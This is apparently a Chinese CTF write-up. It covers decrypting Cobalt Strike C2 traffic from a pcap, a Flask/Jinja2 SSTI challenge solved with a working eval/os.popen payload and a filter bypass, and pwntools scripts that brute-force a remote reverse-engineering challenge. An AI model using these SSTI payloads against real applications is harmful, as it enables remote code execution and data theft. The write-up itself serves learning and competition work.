Encrypted metadata: SLHAIOj8/1icVtP6fImtJz6B6wR0t/XwLg1G0Y3AxoxnseBfPONxoyjAWCCOH84IJULnCZZrO7cIRxJPS2PtmDD4MvD8/PIpoW8Gj8536vhwd+tyXjNKyLNyNYcj+JgO4N5FTnKtkONgv7KnsMjJC3E0eI0ctqmZll8SrXLUS9k=
Decrypted:
Header: 0000beef
Datasize: 0000005d
Raw key: 28ab951fc96bcb93ec13cf9dd5f21373
aeskey: 9fe14473479a283821241e2af78017e8
hmackey: 1e3d54f1b9f0e106773a59b7c379a89d
charset: 03a8 ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
charset_oem: 03a8 ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
bid: 4350dfec 1129373676
pid: 0b50 2896
port: 0
flags: 0e
var1: 6
var2: 1
var3: 7600
var4: 0
var5: 1996621008
var6: 1996633200
var7: 2360912064
Field: b'WIN-RRI9T9SN85D'
Field: b'Administrator'
Field: b'artifact.exe'

然后用这个提取traffic https://github.com/minhangxiaohui/CSthing/blob/master/cs-parse-http-traffic/cs-parse-http-traffic.py

1
python traffic.py -r 28ab951fc96bcb93ec13cf9dd5f21373 -Y "http.request.uri.path contains submit" cscs.pcapng

注意traffic.py的第489行要改编码方式(上面解密metadata里面有charset)

1
2
elif callback in [17, 30, 32]:
oOutput.Line(callbackdata.decode("gb2312"))

得到了如下的信息(HMAC打印是我加的用来调试的,原脚本没有)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
(venv) ➜  CSCS python traffic.py -r 28ab951fc96bcb93ec13cf9dd5f21373 -Y "http.request.uri.path contains submit" cscs.pcapng

Packet number: 6929
HTTP request POST
http://10.11.4.3:12345/submit.php?id=1129373676
Length raw data: 68
Calculated HMAC: b'19e493e351c9f631d6785d5c07eae9e3'
Provided HMAC: b'19e493e351c9f631d6785d5c07eae9e3'
Counter: 2
Callback: 30 OUTPUT
win-rri9t9sn85d\administrator


Packet number: 7279
HTTP request POST
http://10.11.4.3:12345/submit.php?id=1129373676
Length raw data: 356
Calculated HMAC: b'854dfa5777a23989286770da6e0444d0'
Provided HMAC: b'854dfa5777a23989286770da6e0444d0'
Counter: 3
Callback: 30 OUTPUT
驱动器 C 中的卷没有标签。
卷的序列号是 1870-3553

C:\Users\Administrator\Desktop 的目录

2024/12/16 15:05 <DIR> .
2024/12/16 15:05 <DIR> ..
2024/12/16 15:05 17,920 artifact.exe
1 个文件 17,920 字节
2 个目录 51,166,601,216 可用字节


Packet number: 9797
HTTP request POST
http://10.11.4.3:12345/submit.php?id=1129373676
Length raw data: 212
Calculated HMAC: b'890e75fcce939f1c8e0922ce5044bc3a'
Provided HMAC: b'890e75fcce939f1c8e0922ce5044bc3a'
Counter: 4
Callback: 22 TODO
b'\x00\x00\x00\x01'
----------------------------------------------------------------------------------------------------
C:\Users\Administrator\Desktop\*
D 0 12/16/2024 15:05:42 .
D 0 12/16/2024 15:05:42 ..
F 17920 12/16/2024 15:05:30 artifact.exe
F 282 08/23/2017 14:18:35 desktop.ini

----------------------------------------------------------------------------------------------------

Packet number: 12142
HTTP request POST
http://10.11.4.3:12345/submit.php?id=1129373676
Length raw data: 260
Calculated HMAC: b'1b29173fd3308ff08d30b2a7d42132d4'
Provided HMAC: b'1b29173fd3308ff08d30b2a7d42132d4'
Counter: 5
Callback: 22 TODO
b'\x00\x00\x00\x02'
----------------------------------------------------------------------------------------------------
C:\Users\Administrator\Desktop\*
D 0 12/16/2024 15:08:31 .
D 0 12/16/2024 15:08:31 ..
F 17920 12/16/2024 15:05:30 artifact.exe
F 282 08/23/2017 14:18:35 desktop.ini
F 349588 12/16/2024 15:08:31 secret.pcapng

----------------------------------------------------------------------------------------------------


Callbacks summary:
22 TODO: 2
30 OUTPUT: 2

发现存在一个secret.pcapng,想想怎么提取,过滤http请求并按照请求大小排序

12133的包拿出来以后,把解密流量的逻辑拿出来发现可以解出来文件,但我找不到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import binascii
import hashlib
import hmac
from Crypto.Cipher import AES

# 固定 IV
CS_FIXED_IV = b'abcdefghijklmnop'

class cCrypto:
def __init__(self, rawkey='', hmacaeskeys=''):
"""
初始化解密对象
:param rawkey: 原始密钥(16字节)
:param hmacaeskeys: HMAC 和 AES 密钥(以冒号分隔)
"""
self.rawkey = rawkey
self.hmacaeskeys = hmacaeskeys
if self.rawkey != '' and self.rawkey != 'unknown':
sha256digest = hashlib.sha256(binascii.a2b_hex(self.rawkey)).digest()
self.hmackey = sha256digest[16:]
self.aeskey = sha256digest[:16]
elif self.hmacaeskeys != '' and self.hmacaeskeys != 'unknown':
self.hmackey = binascii.a2b_hex(self.hmacaeskeys.split(':')[0])
self.aeskey = binascii.a2b_hex(self.hmacaeskeys.split(':')[1])
else:
self.hmackey = None
self.aeskey = None

def Decrypt(self, data):
"""
解密数据
:param data: 加密的字节数据
:return: 解密后的数据
"""
if self.aeskey is None:
return data

encryptedData = data[:-16] # 数据去掉 HMAC 后的部分
hmacSignatureMessage = data[-16:] # HMAC 部分

# 计算 HMAC 校验
hmacSignatureCalculated = hmac.new(self.hmackey, encryptedData, hashlib.sha256).digest()[:16]
print(f"Calculated HMAC: {binascii.b2a_hex(hmacSignatureCalculated)}")
print(f"Provided HMAC: {binascii.b2a_hex(hmacSignatureMessage)}")

if hmacSignatureMessage != hmacSignatureCalculated:
raise Exception('HMAC signature invalid')

# 使用 AES 进行解密
cipher = AES.new(self.aeskey, AES.MODE_CBC, CS_FIXED_IV)
decryptedData = cipher.decrypt(encryptedData)
return decryptedData

def Encrypt(self, data):
"""
加密数据
:param data: 明文数据
:return: 加密后的数据
"""
cipher = AES.new(self.aeskey, AES.MODE_CBC, CS_FIXED_IV)
encryptedData = cipher.encrypt(data)
hmacSignatureCalculated = hmac.new(self.hmackey, encryptedData, hashlib.sha256).digest()[:16]
return encryptedData + hmacSignatureCalculated


def decrypt_file(input_filename, output_filename, rawkey):
"""
解密文件内容
:param input_filename: 输入加密文件
:param output_filename: 输出解密后的文件
:param rawkey: 用于解密的原始密钥
"""
# 创建解密对象
crypto = cCrypto(rawkey=rawkey)

# 读取文件数据
with open(input_filename, 'rb') as f:
encrypted_data = f.read()

# 解密数据
decrypted_data = crypto.Decrypt(encrypted_data)

# 写入解密后的数据
with open(output_filename, 'wb') as f:
f.write(decrypted_data)

print(f"Decrypted data written to {output_filename}")


# 解密文件
input_filename = '123.vir' # 提取的请求,提前删除了http头
output_filename = 'out.pcap' # 解密后的文件保存路径
rawkey = '28ab951fc96bcb93ec13cf9dd5f21373' # 用于解密的密钥

decrypt_file(input_filename, output_filename, rawkey)

提取出来后还是找不到flag,比赛时间到了,看看后面有没有其他师傅出了

[Web] Rank-I | @Ron

尝试rce

1
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls ..").read()')}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app
bin
boot
dev
etc
flagf149
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

得知根目录下有flagf149文件应该是flag,直接读取读不了

1
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['eval']('open("app.py").read()')}}

拿到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, render_template, render_template_string, redirect, url_for, abort
from urllib.parse import unquote

app = Flask(__name__)

phone = ''

def is_safe_input(user_input):
# unsafe_keywords = ['eval', 'exec', 'os', 'system', 'import', '__import__']
unsafe_keywords = ['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']
if any(keyword in user_input for keyword in unsafe_keywords):
# if user_input in unsafe_keywords:
return True
return False

@app.route("/")
def index():
return render_template("index.html")

@app.route("/login", methods=["POST"])
def login():
global phone
phone = request.form.get("phone_number")
return render_template("login.html")

@app.route("/cpass", methods=["POST"])
def check():
global phone
password = request.form.get("password")

if is_safe_input(phone):
return redirect(url_for('index'))

if phone != "1686682318" and password != "Happy_news_admin":
return render_template_string('<!DOCTYPE html>\
<html lang="en">\
<head>\
<meta charset="UTF-8">\
<title>login failed</title>\
</head>\
<body>\
<script>alert("{}The number does not exist or the password is incorrect!") </script>\
<script>window.location.href = "/";</script>\
</body>\
</html>'.format(phone))
else:
return redirect(url_for('index'))

if __name__ == '__main__':
app.run(host="0.0.0.0", port=int("5005"), debug=True)

查看源码发现过滤了['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']

1
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['eval']('open(chr(47)+"fla"+"gf149").read()')}}

拿到flag

DASCTF{49467766377144059055627981055717}

[Reverse] BitDance | @Jeremiah

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
# 设置日志级别为调试,以便看到详细的调试信息
context.log_level = 'debug'
# 初始长度
i = 1
while True:
try:
# 连接到远程服务器
p = remote('139.155.126.78', 16335)
# 发送由 '1' 重复 i 次组成的字符串
payload = b'1' * i
p.sendlineafter(b'Welcome to dance:', payload)
# 接收服务器的响应
response = p.recvline().strip()
print(f"Sent {i} '1's, received: {response}")
# 检查响应是否不是 "Wrong length"
if b'Wrong length' not in response:
print(f"Success! Correct length found: {i}")
# 如果需要,可以在此处进一步处理响应
break # 退出循环
# 关闭当前连接
p.close()
# 增加发送长度
i += 1
except EOFError:
print(f"Connection closed by remote server at length {i}.")
p.close()
i += 1
except Exception as e:
print(f"An error occurred at length {i}: {e}")
p.close()
i += 1

题目是一个靶机,连上之后会出现welcome to dance,等待用户输入并判断输入的长度,错误会返回Wrong length,所以第一步先爆破了输入的长度,爆破得到长度为96
并且会返回Start from 0,后面还会返回非常多的hex数据,转换成ascll是大量的0和1,如图,大部分都是这种,需要关注的是红色字符

最后一段是Check in with 后面跟的应该就是密文,计算了一下密文的长度是768,刚好是96的8倍,再结合上面的01不难猜出是将我们的输入转成了8位二进制数进行判断,但是密文从二进制转成ascll之后并不是可见字符,说明校验中间会进行一层变换,现在要逆这个变换,前面提到的红色字符的生成方式是这样的

所以我们要提取出红色字符对应的值并拼接成一个字符串,总共是768位,与密文长度一致,其实就是我们输入的数据,我们需要发送多次数据进行对比,每次只改变一个位置的字符,并找出输入->输出的对应关系
这样就能找到输入和输出的映射关系,需要利用7个不同的字符来得到完整的映射关系表,下面分成了两个脚本来跑得到最后完整的映射表,第一个得到offset = 2...7的映射关系,第二个得到offset = 1的映射关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from concurrent.futures import ThreadPoolExecutor

def string_to_binary(input_string):
return ''.join(format(ord(char), '08b') for char in input_string)

def char_diff(a, b):
result = []
for i in range(len(a)):
if a[i] != b[i]:
print(i, a[i], b[i])
result.append(i)
return result

def get_encode_string(send):
result = [2 for _ in range(768)]
p = remote('139.155.126.78', 16335)
p.sendlineafter(b'Welcome to dance:', send.encode())
p.recvline()
p.recvline()
for i in range(768):
line = p.recvline().replace(b'\x1b[0;32m', b'').replace(b'\x1b[0m\n', b'')
pos = [i for i in range(len(line)) if line[i:i + 11] == b'\x1b[0m\x1b[0;31m'][0]
result[pos] = chr(line[pos + 11])
p.close()
return ''.join(result)

def process_single_character(i, char, encode_base):
send = '9' * i + char + '9' * (95 - i)
encode = get_encode_string(send)
diff = char_diff(encode_base, encode)
assert len(diff) == 1
num = i * 8 + 1
return num, diff[0]

if __name__ == '__main__':
change_map = {2: 523, 3: 100, 4: 295, 5: 435, 6: 168, 7: 199, 10: 310, 11: 744, 12: 127, 13: 254, 14: 623, 15: 221, 18: 625, 19: 316, 20: 731, 21: 635, 22: 718, 23: 229, 26: 438, 27: 12, 28: 99, 29: 503, 30: 136, 31: 204, 34: 241, 35: 526, 36: 621, 37: 450, 38: 491, 39: 24, 42: 734, 43: 125, 44: 719, 45: 406, 46: 209, 47: 458, 50: 519, 51: 263, 52: 504, 53: 403, 54: 22, 55: 142, 58: 400, 59: 274, 60: 547, 61: 657, 62: 611, 63: 107, 66: 559, 67: 697, 68: 228, 69: 660, 70: 545, 71: 757, 74: 477, 75: 665, 76: 307, 77: 448, 78: 662, 79: 566, 82: 466, 83: 462, 84: 645, 85: 451, 86: 215, 87: 317, 90: 285, 91: 716, 92: 601, 93: 106, 94: 646, 95: 712, 98: 126, 99: 232, 100: 380, 101: 622, 102: 364, 103: 677, 106: 405, 107: 641, 108: 460, 109: 654, 110: 203, 111: 84, 114: 537, 115: 683, 116: 674, 117: 492, 118: 498, 119: 372, 122: 546, 123: 167, 124: 256, 125: 50, 126: 760, 127: 386, 130: 515, 131: 181, 132: 570, 133: 284, 134: 721, 135: 587, 138: 246, 139: 581, 140: 379, 141: 346, 142: 123, 143: 722, 146: 725, 147: 694, 148: 767, 149: 499, 150: 440, 151: 447, 154: 705, 155: 575, 156: 425, 157: 608, 158: 583, 159: 512, 162: 755, 163: 663, 164: 507, 165: 399, 166: 698, 167: 337, 170: 624, 171: 382, 172: 648, 173: 299, 174: 439, 175: 329, 178: 29, 179: 210, 180: 538, 181: 140, 182: 673, 183: 388, 186: 738, 187: 113, 188: 314, 189: 325, 190: 69, 191: 112, 194: 555, 195: 289, 196: 432, 197: 656, 198: 765, 199: 81, 202: 149, 203: 111, 204: 85, 205: 610, 206: 170, 207: 586, 210: 390, 211: 710, 212: 281, 213: 630, 214: 480, 215: 419, 218: 352, 219: 476, 220: 293, 221: 527, 222: 593, 223: 0, 226: 375, 227: 8, 228: 133, 229: 166, 230: 83, 231: 354, 234: 344, 235: 313, 236: 334, 237: 528, 238: 758, 239: 303, 242: 530, 243: 259, 244: 746, 245: 268, 246: 248, 247: 560, 250: 7, 251: 487, 252: 224, 253: 669, 254: 185, 255: 54, 258: 150, 259: 214, 260: 61, 261: 474, 262: 495, 263: 98, 266: 453, 267: 157, 268: 728, 269: 412, 270: 227, 271: 176, 274: 497, 275: 152, 276: 465, 277: 679, 278: 153, 279: 252, 282: 218, 283: 340, 284: 544, 285: 280, 286: 619, 287: 286, 290: 455, 291: 270, 292: 217, 293: 549, 294: 233, 295: 724, 298: 269, 299: 261, 300: 249, 301: 751, 302: 58, 303: 428, 306: 67, 307: 165, 308: 31, 309: 79, 310: 739, 311: 119, 314: 179, 315: 162, 316: 671, 317: 374, 318: 109, 319: 290, 322: 187, 323: 481, 324: 208, 325: 732, 326: 243, 327: 554, 330: 640, 331: 43, 332: 689, 333: 578, 334: 16, 335: 597, 338: 196, 339: 514, 340: 147, 341: 444, 342: 305, 343: 300, 346: 684, 347: 740, 348: 693, 349: 754, 350: 23, 351: 258, 354: 132, 355: 421, 356: 257, 357: 717, 358: 101, 359: 398, 362: 34, 363: 40, 364: 359, 365: 637, 366: 250, 367: 56, 370: 182, 371: 720, 372: 667, 373: 353, 374: 423, 375: 573, 378: 41, 379: 626, 380: 197, 381: 91, 382: 30, 383: 5, 386: 639, 387: 469, 388: 35, 389: 726, 390: 427, 391: 752, 394: 478, 395: 122, 396: 251, 397: 558, 398: 595, 399: 664, 402: 612, 403: 213, 404: 484, 405: 418, 406: 102, 407: 201, 410: 628, 411: 692, 412: 743, 413: 308, 414: 696, 415: 540, 418: 552, 419: 19, 420: 496, 421: 370, 422: 510, 423: 502, 426: 681, 427: 407, 428: 762, 429: 20, 430: 632, 431: 501, 434: 279, 435: 4, 436: 584, 437: 574, 438: 708, 439: 3, 442: 414, 443: 415, 444: 383, 445: 175, 446: 321, 447: 238, 450: 454, 451: 319, 452: 599, 453: 88, 454: 335, 455: 457, 458: 659, 459: 763, 460: 339, 461: 617, 462: 709, 463: 649, 466: 713, 467: 500, 468: 627, 469: 28, 470: 331, 471: 650, 474: 506, 475: 311, 476: 244, 477: 46, 478: 173, 479: 756, 482: 655, 483: 385, 484: 620, 485: 567, 486: 156, 487: 146, 490: 690, 491: 222, 492: 585, 493: 471, 494: 589, 495: 231, 498: 193, 499: 488, 500: 130, 501: 695, 502: 636, 503: 144, 506: 220, 507: 750, 508: 348, 509: 73, 510: 592, 511: 748, 514: 389, 515: 205, 516: 17, 517: 392, 518: 192, 519: 672, 522: 212, 523: 202, 524: 48, 525: 511, 526: 129, 527: 539, 530: 191, 531: 10, 532: 151, 533: 449, 534: 108, 535: 358, 538: 145, 539: 430, 540: 72, 541: 652, 542: 391, 543: 60, 546: 336, 547: 521, 548: 707, 549: 345, 550: 651, 551: 44, 554: 543, 555: 369, 556: 160, 557: 95, 558: 55, 559: 588, 562: 404, 563: 704, 564: 6, 565: 338, 566: 282, 567: 87, 570: 355, 571: 568, 572: 266, 573: 326, 574: 420, 575: 436, 578: 342, 579: 371, 580: 493, 581: 207, 582: 745, 583: 37, 586: 294, 587: 381, 588: 327, 589: 741, 590: 699, 591: 531, 594: 753, 595: 711, 596: 253, 597: 518, 598: 264, 599: 51, 602: 666, 603: 609, 604: 606, 605: 1, 606: 154, 607: 260, 610: 141, 611: 561, 612: 159, 613: 11, 614: 351, 615: 53, 618: 198, 619: 429, 620: 759, 621: 456, 622: 164, 623: 445, 626: 190, 627: 644, 628: 378, 629: 172, 630: 195, 631: 32, 634: 541, 635: 74, 636: 373, 637: 509, 638: 643, 639: 309, 642: 702, 643: 417, 644: 230, 645: 727, 646: 33, 647: 614, 650: 64, 651: 670, 652: 395, 653: 171, 654: 183, 655: 292, 658: 642, 659: 180, 660: 534, 661: 535, 662: 661, 663: 603, 666: 571, 667: 634, 668: 236, 669: 189, 670: 124, 671: 516, 674: 464, 675: 298, 676: 47, 677: 178, 678: 411, 679: 360, 682: 402, 683: 700, 684: 186, 685: 65, 686: 590, 687: 206, 690: 324, 691: 163, 692: 341, 693: 452, 694: 161, 695: 482, 698: 613, 699: 396, 700: 472, 701: 548, 702: 26, 703: 483, 706: 333, 707: 103, 708: 194, 709: 38, 710: 219, 711: 520, 714: 532, 715: 557, 716: 363, 717: 272, 718: 357, 719: 470, 722: 387, 723: 356, 724: 80, 725: 225, 726: 320, 727: 602, 730: 426, 731: 361, 732: 315, 733: 297, 734: 216, 735: 302, 738: 668, 739: 577, 740: 118, 741: 139, 742: 350, 743: 267, 746: 486, 747: 490, 748: 177, 749: 86, 750: 117, 751: 607, 754: 459, 755: 761, 756: 242, 757: 68, 758: 475, 759: 394, 762: 467, 763: 580, 764: 328, 765: 62, 766: 733, 767: 143}
send = '9' * 96
encode_base = get_encode_string(send)

chars_to_check = ['y']
tasks = []

with ThreadPoolExecutor() as executor:
for i in range(96):
for char in chars_to_check:
tasks.append(executor.submit(process_single_character, i, char, encode_base))

for task in tasks:
key, value = task.result()
change_map[key] = value

print(change_map)

这回跑的很快,一下就出了,这就是最终的映射表
下面只需要提取出Check in with后面跟着的密文并根据这个映射关系还原回去即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
change_map = {2: 523, 3: 100, 4: 295, 5: 435, 6: 168, 7: 199, 10: 310, 11: 744, 12: 127, 13: 254, 14: 623, 15: 221, 18: 625, 19: 316, 20: 731, 21: 635, 22: 718, 23: 229, 26: 438, 27: 12, 28: 99, 29: 503, 30: 136, 31: 204, 34: 241, 35: 526, 36: 621, 37: 450, 38: 491, 39: 24, 42: 734, 43: 125, 44: 719, 45: 406, 46: 209, 47: 458, 50: 519, 51: 263, 52: 504, 53: 403, 54: 22, 55: 142, 58: 400, 59: 274, 60: 547, 61: 657, 62: 611, 63: 107, 66: 559, 67: 697, 68: 228, 69: 660, 70: 545, 71: 757, 74: 477, 75: 665, 76: 307, 77: 448, 78: 662, 79: 566, 82: 466, 83: 462, 84: 645, 85: 451, 86: 215, 87: 317, 90: 285, 91: 716, 92: 601, 93: 106, 94: 646, 95: 712, 98: 126, 99: 232, 100: 380, 101: 622, 102: 364, 103: 677, 106: 405, 107: 641, 108: 460, 109: 654, 110: 203, 111: 84, 114: 537, 115: 683, 116: 674, 117: 492, 118: 498, 119: 372, 122: 546, 123: 167, 124: 256, 125: 50, 126: 760, 127: 386, 130: 515, 131: 181, 132: 570, 133: 284, 134: 721, 135: 587, 138: 246, 139: 581, 140: 379, 141: 346, 142: 123, 143: 722, 146: 725, 147: 694, 148: 767, 149: 499, 150: 440, 151: 447, 154: 705, 155: 575, 156: 425, 157: 608, 158: 583, 159: 512, 162: 755, 163: 663, 164: 507, 165: 399, 166: 698, 167: 337, 170: 624, 171: 382, 172: 648, 173: 299, 174: 439, 175: 329, 178: 29, 179: 210, 180: 538, 181: 140, 182: 673, 183: 388, 186: 738, 187: 113, 188: 314, 189: 325, 190: 69, 191: 112, 194: 555, 195: 289, 196: 432, 197: 656, 198: 765, 199: 81, 202: 149, 203: 111, 204: 85, 205: 610, 206: 170, 207: 586, 210: 390, 211: 710, 212: 281, 213: 630, 214: 480, 215: 419, 218: 352, 219: 476, 220: 293, 221: 527, 222: 593, 223: 0, 226: 375, 227: 8, 228: 133, 229: 166, 230: 83, 231: 354, 234: 344, 235: 313, 236: 334, 237: 528, 238: 758, 239: 303, 242: 530, 243: 259, 244: 746, 245: 268, 246: 248, 247: 560, 250: 7, 251: 487, 252: 224, 253: 669, 254: 185, 255: 54, 258: 150, 259: 214, 260: 61, 261: 474, 262: 495, 263: 98, 266: 453, 267: 157, 268: 728, 269: 412, 270: 227, 271: 176, 274: 497, 275: 152, 276: 465, 277: 679, 278: 153, 279: 252, 282: 218, 283: 340, 284: 544, 285: 280, 286: 619, 287: 286, 290: 455, 291: 270, 292: 217, 293: 549, 294: 233, 295: 724, 298: 269, 299: 261, 300: 249, 301: 751, 302: 58, 303: 428, 306: 67, 307: 165, 308: 31, 309: 79, 310: 739, 311: 119, 314: 179, 315: 162, 316: 671, 317: 374, 318: 109, 319: 290, 322: 187, 323: 481, 324: 208, 325: 732, 326: 243, 327: 554, 330: 640, 331: 43, 332: 689, 333: 578, 334: 16, 335: 597, 338: 196, 339: 514, 340: 147, 341: 444, 342: 305, 343: 300, 346: 684, 347: 740, 348: 693, 349: 754, 350: 23, 351: 258, 354: 132, 355: 421, 356: 257, 357: 717, 358: 101, 359: 398, 362: 34, 363: 40, 364: 359, 365: 637, 366: 250, 367: 56, 370: 182, 371: 720, 372: 667, 373: 353, 374: 423, 375: 573, 378: 41, 379: 626, 380: 197, 381: 91, 382: 30, 383: 5, 386: 639, 387: 469, 388: 35, 389: 726, 390: 427, 391: 752, 394: 478, 395: 122, 396: 251, 397: 558, 398: 595, 399: 664, 402: 612, 403: 213, 404: 484, 405: 418, 406: 102, 407: 201, 410: 628, 411: 692, 412: 743, 413: 308, 414: 696, 415: 540, 418: 552, 419: 19, 420: 496, 421: 370, 422: 510, 423: 502, 426: 681, 427: 407, 428: 762, 429: 20, 430: 632, 431: 501, 434: 279, 435: 4, 436: 584, 437: 574, 438: 708, 439: 3, 442: 414, 443: 415, 444: 383, 445: 175, 446: 321, 447: 238, 450: 454, 451: 319, 452: 599, 453: 88, 454: 335, 455: 457, 458: 659, 459: 763, 460: 339, 461: 617, 462: 709, 463: 649, 466: 713, 467: 500, 468: 627, 469: 28, 470: 331, 471: 650, 474: 506, 475: 311, 476: 244, 477: 46, 478: 173, 479: 756, 482: 655, 483: 385, 484: 620, 485: 567, 486: 156, 487: 146, 490: 690, 491: 222, 492: 585, 493: 471, 494: 589, 495: 231, 498: 193, 499: 488, 500: 130, 501: 695, 502: 636, 503: 144, 506: 220, 507: 750, 508: 348, 509: 73, 510: 592, 511: 748, 514: 389, 515: 205, 516: 17, 517: 392, 518: 192, 519: 672, 522: 212, 523: 202, 524: 48, 525: 511, 526: 129, 527: 539, 530: 191, 531: 10, 532: 151, 533: 449, 534: 108, 535: 358, 538: 145, 539: 430, 540: 72, 541: 652, 542: 391, 543: 60, 546: 336, 547: 521, 548: 707, 549: 345, 550: 651, 551: 44, 554: 543, 555: 369, 556: 160, 557: 95, 558: 55, 559: 588, 562: 404, 563: 704, 564: 6, 565: 338, 566: 282, 567: 87, 570: 355, 571: 568, 572: 266, 573: 326, 574: 420, 575: 436, 578: 342, 579: 371, 580: 493, 581: 207, 582: 745, 583: 37, 586: 294, 587: 381, 588: 327, 589: 741, 590: 699, 591: 531, 594: 753, 595: 711, 596: 253, 597: 518, 598: 264, 599: 51, 602: 666, 603: 609, 604: 606, 605: 1, 606: 154, 607: 260, 610: 141, 611: 561, 612: 159, 613: 11, 614: 351, 615: 53, 618: 198, 619: 429, 620: 759, 621: 456, 622: 164, 623: 445, 626: 190, 627: 644, 628: 378, 629: 172, 630: 195, 631: 32, 634: 541, 635: 74, 636: 373, 637: 509, 638: 643, 639: 309, 642: 702, 643: 417, 644: 230, 645: 727, 646: 33, 647: 614, 650: 64, 651: 670, 652: 395, 653: 171, 654: 183, 655: 292, 658: 642, 659: 180, 660: 534, 661: 535, 662: 661, 663: 603, 666: 571, 667: 634, 668: 236, 669: 189, 670: 124, 671: 516, 674: 464, 675: 298, 676: 47, 677: 178, 678: 411, 679: 360, 682: 402, 683: 700, 684: 186, 685: 65, 686: 590, 687: 206, 690: 324, 691: 163, 692: 341, 693: 452, 694: 161, 695: 482, 698: 613, 699: 396, 700: 472, 701: 548, 702: 26, 703: 483, 706: 333, 707: 103, 708: 194, 709: 38, 710: 219, 711: 520, 714: 532, 715: 557, 716: 363, 717: 272, 718: 357, 719: 470, 722: 387, 723: 356, 724: 80, 725: 225, 726: 320, 727: 602, 730: 426, 731: 361, 732: 315, 733: 297, 734: 216, 735: 302, 738: 668, 739: 577, 740: 118, 741: 139, 742: 350, 743: 267, 746: 486, 747: 490, 748: 177, 749: 86, 750: 117, 751: 607, 754: 459, 755: 761, 756: 242, 757: 68, 758: 475, 759: 394, 762: 467, 763: 580, 764: 328, 765: 62, 766: 733, 767: 143, 1: 443, 9: 70, 17: 723, 25: 82, 33: 647, 41: 78, 49: 277, 57: 49, 65: 45, 73: 685, 81: 563, 89: 413, 97: 247, 105: 729, 113: 39, 121: 576, 129: 517, 137: 318, 145: 362, 153: 104, 161: 598, 169: 687, 177: 239, 185: 283, 193: 749, 201: 605, 209: 63, 217: 347, 225: 366, 233: 691, 241: 508, 249: 489, 257: 529, 265: 105, 273: 633, 281: 524, 289: 446, 297: 736, 305: 686, 313: 365, 321: 409, 329: 15, 337: 463, 345: 343, 353: 433, 361: 332, 369: 96, 377: 121, 385: 169, 393: 349, 401: 368, 409: 680, 417: 393, 425: 188, 433: 278, 441: 682, 449: 410, 457: 735, 465: 18, 473: 138, 481: 522, 489: 174, 497: 255, 505: 200, 513: 291, 521: 271, 529: 21, 537: 76, 545: 579, 553: 9, 561: 94, 569: 134, 577: 441, 585: 137, 593: 533, 601: 764, 609: 27, 617: 135, 625: 600, 633: 618, 641: 287, 649: 688, 657: 312, 665: 116, 673: 551, 681: 703, 689: 245, 697: 596, 705: 52, 713: 424, 721: 296, 729: 675, 737: 184, 745: 434, 753: 408, 761: 653}

encode_str = '000011000110000101001000001110100000000101000100110100101000110111001010000010111011100000000010101100011100010110001000011001000110011101101001001001100110100100010001110001110100011100011111110111001011011100001110000110100101000011000011010101110000110101110101101011110000000101011000000101001010001000001010111111111100100010001100000001011101100101000000111101101010001100010110001000010101101100111101111111110101100111000010111110110101010010000011100000011011010010001110011010100101000000011100000010001010010110111000111001000100110101000001101000110001001000000000111100001100100000001010100101101010101001111001010010001111000101011011001001001101000010011101011101011011011110101000110110101000011001000100001101110000101110110000010001000010010001001100'

decode_str = ['0' for _ in range(768)]

for i in range(len(encode_str)):
key = [k for k, v in change_map.items() if v == i]
if key:
decode_str[key[0]] = encode_str[i]
else:
print(i)

# print(''.join(decode_str))
def binary_to_string(binary_str):
return ''.join([chr(int(binary_str[i:i+8], 2)) for i in range(0, len(binary_str), 8)])

print(binary_to_string(''.join(decode_str)))
#fbthbp4DseaBQ3xQTidMDRFiNtYXj4tEyFGB2pFNwDpEMAnkt5xwdW8wpf5BKxhhZz0SDapKFRKJJErb5jATs5yZ3HNY0hTi

最后get flag:fbthbp4DseaBQ3xQTidMDRFiNtYXj4tEyFGB2pFNwDpEMAnkt5xwdW8wpf5BKxhhZz0SDapKFRKJJErb5jATs5yZ3HNY0hTi直接交即可